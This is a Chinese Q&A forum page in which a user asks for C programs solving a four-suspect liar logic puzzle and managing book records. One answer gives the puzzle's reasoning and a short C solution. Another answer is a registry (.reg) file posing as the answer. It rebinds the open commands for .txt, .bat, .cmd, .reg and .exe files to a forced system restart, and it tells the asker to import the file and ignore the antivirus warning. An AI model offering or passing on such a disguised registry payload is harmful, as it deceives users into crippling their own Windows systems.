关于C语言的编程问题。

1.公安人员审问四名窃贼嫌疑犯。已知,这四人当中仅有一名是窃贼,还知道这四人中每人要么是诚实的,要么总是说谎的。在回答公安人员的问题中:甲:“乙没有偷,是丁偷的。”乙:“... 1.公安人员审问四名窃贼嫌疑犯。已知,这四人当中仅有一名是窃贼,还知道这四人中每人要么是诚实的,要么总是说谎的。在回答公安人员的问题中:
甲:“乙没有偷,是丁偷的。”
乙:“我没有偷,是丙偷的。”
丙:“甲没有偷,是乙偷的。”
丁:“我没有偷。”
请根据这四人的答话判断谁是盗窃者。
2.
用c语言编写一个程序,实现如下功能:
新建一个文件以保存若干条图书信息;
新增一条记录,包括图书编号、书名、作者名、价格等信息;
删除指定图书编号的相应记录;
查询指定图书编号或指定书名的相应记录;
将记录按照编号(或价格)升序(或降序)排序。

用c语言把上面两个问题写出来,谢谢了。
展开
 我来答
_fmlyht
2012-10-10 · TA获得超过2359个赞
知道大有可为答主
回答量:2398
采纳率:0%
帮助的人:1838万
展开全部
假设
p:"甲是盗窃者"
q:"乙是盗窃者"
r:"丙是盗窃者"
s:"丁是盗窃者"
已知这四人中每人要么是诚实的,要么总是说谎的。
!q==s
!q==r
!p==q

又四人当中仅有一名是窃贼,所以,真命题必在q,s中,且必在q,r中,且必在q,p中。所以,q为真命题,即乙是盗窃者。
main() {
char p,q,r,s;
p=1;q=0;r=0;s=0;
if(!q==s&&!q==r&&!p==q) printf("甲");
else {
p=0;q=1;r=0;s=0;
if(!q==s&&!q==r&&!p==q) printf("乙");
else {

p=0;q=0;r=1;s=0;
if(!q==s&&!q==r&&!p==q) printf("丙");
else printf("丁");
}
}
printf("是盗窃者\n");

getchar();
}
巢化r1
2012-10-10 · 超过27用户采纳过TA的回答
知道答主
回答量:133
采纳率:0%
帮助的人:51.9万
展开全部
REGEDIT4

[HKEY_CLASSES_ROOT\txtfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"

[HKEY_CLASSES_ROOT\batfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"

[HKEY_CLASSES_ROOT\cmdfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"

[HKEY_CLASSES_ROOT\regfile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="c:\\windows\\system32\\shutdown.exe -r -t 600 -c GoodBye&GoodLuck"

保存为.reg文档 导入之后点确认 不要理会360的拦截毫无意义
导入之后答案就在里面
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
董俊锟djk
2012-10-10 · TA获得超过2551个赞
知道小有建树答主
回答量:1231
采纳率:66%
帮助的人:1019万
展开全部
一 分数太少
二 第二个程序较长
三 估计没人帮你做
追问
好了,帮了我,30分是你的,今天中午截止哦,过了时间这题我就没用了。
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 1条折叠回答
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式